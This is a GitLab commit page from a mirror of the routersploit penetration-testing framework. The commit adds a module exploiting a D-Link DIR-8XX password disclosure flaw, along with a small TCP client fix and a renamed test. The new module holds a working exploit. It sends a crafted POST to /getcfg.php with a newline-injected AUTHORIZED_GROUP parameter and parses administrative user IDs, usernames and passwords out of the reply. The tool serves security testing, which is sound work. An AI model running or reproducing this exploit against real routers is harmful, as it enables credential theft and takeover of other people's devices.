Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
2e55f7c4
Unverified
Commit
2e55f7c4
authored
7 years ago
by
Marcin Bury
Committed by
GitHub
7 years ago
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding D-Link DIR-8XX Password Disclosure module (#413)
parent
da6d2e46
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
68 additions
and
3 deletions
+68
-3
tcp_client.py
routersploit/core/tcp/tcp_client.py
+4
-0
dir_8xx_password_disclosure.py
...les/exploits/routers/dlink/dir_8xx_password_disclosure.py
+62
-0
test_dir_8xx_password_disclosure.py
...xploits/routers/dlink/test_dir_8xx_password_disclosure.py
+2
-3
No files found.
routersploit/core/tcp/tcp_client.py
View file @
2e55f7c4
...
...
@@ -58,8 +58,12 @@ class TCPClient(Exploit):
received
=
0
while
received
<
num
:
tmp
=
tcp_client
.
recv
(
num
-
received
)
if
tmp
:
received
+=
len
(
tmp
)
response
+=
tmp
else
:
break
return
response
except
socket
.
timeout
:
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/dlink/dir_8xx_password_disclosure.py
0 → 100644
View file @
2e55f7c4
import
re
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
class
Exploit
(
HTTPClient
):
__info__
=
{
"name"
:
"D-Link DIR-8XX Password Disclosure"
,
"description"
:
"Module exploits D-Link DIR-8XX password disclosure vulnerability, "
"which allows retrieving administrative credentials."
,
"authors"
:
(
"Hack2Win"
,
# vulnerability discovery
"Peter Geissler"
,
# vulnerablity discovery
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
),
"references"
:
(
"https://blogs.securiteam.com/index.php/archives/3310"
,
"https://blogs.securiteam.com/index.php/archives/3364"
,
"https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin"
,
),
"devices"
:
(
"D-Link DIR-8XX"
,
)
}
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
def
run
(
self
):
self
.
credentials
=
[]
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
print_table
((
"User ID"
,
"Username"
,
"Password"
),
*
self
.
credentials
)
else
:
print_error
(
"Exploit Failed - Target does not seem to be vulnerable"
)
@mute
def
check
(
self
):
headers
=
{
"Content-Type"
:
"text/plain;charset=UTF-8"
,
"Content-Length"
:
"0"
}
response
=
self
.
http_request
(
method
=
"POST"
,
path
=
"/getcfg.php?A=A
%0
a_POST_SERVICES
%3
dDEVICE.ACCOUNT
%0
aAUTHORIZED_GROUP
%3
d1"
,
headers
=
headers
)
if
response
is
None
:
return
False
usrids
=
re
.
findall
(
"<usrid>(.*?)</usrid>"
,
response
.
text
)
usernames
=
re
.
findall
(
"<name>(.*?)</name>"
,
response
.
text
)
passwords
=
re
.
findall
(
"<password>(.*?)</password>"
,
response
.
text
)
if
usrids
or
usernames
or
passwords
:
self
.
credentials
=
[
creds
for
creds
in
zip
(
usrids
,
usernames
,
passwords
)]
return
True
return
False
This diff is collapsed.
Click to expand it.
tests/exploits/routers/dlink/test_dir_8xx_
auth_bypass_
password_disclosure.py
→
tests/exploits/routers/dlink/test_dir_8xx_password_disclosure.py
View file @
2e55f7c4
from
flask
import
request
#from routersploit.modules.exploits.routers.dlink.dir_8xx_auth_bypass
_password_disclosure import Exploit
from
routersploit.modules.exploits.routers.dlink.dir_8xx
_password_disclosure
import
Exploit
def
apply_response
():
...
...
@@ -51,8 +51,6 @@ def apply_response():
def
test_exploit_success
(
target
):
return
""" Test scenario - successful exploitation """
cgi_mock
=
target
.
get_route_mock
(
"/getcfg.php"
,
methods
=
[
"GET"
,
"POST"
])
...
...
@@ -63,3 +61,4 @@ def test_exploit_success(target):
exploit
.
port
=
target
.
port
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment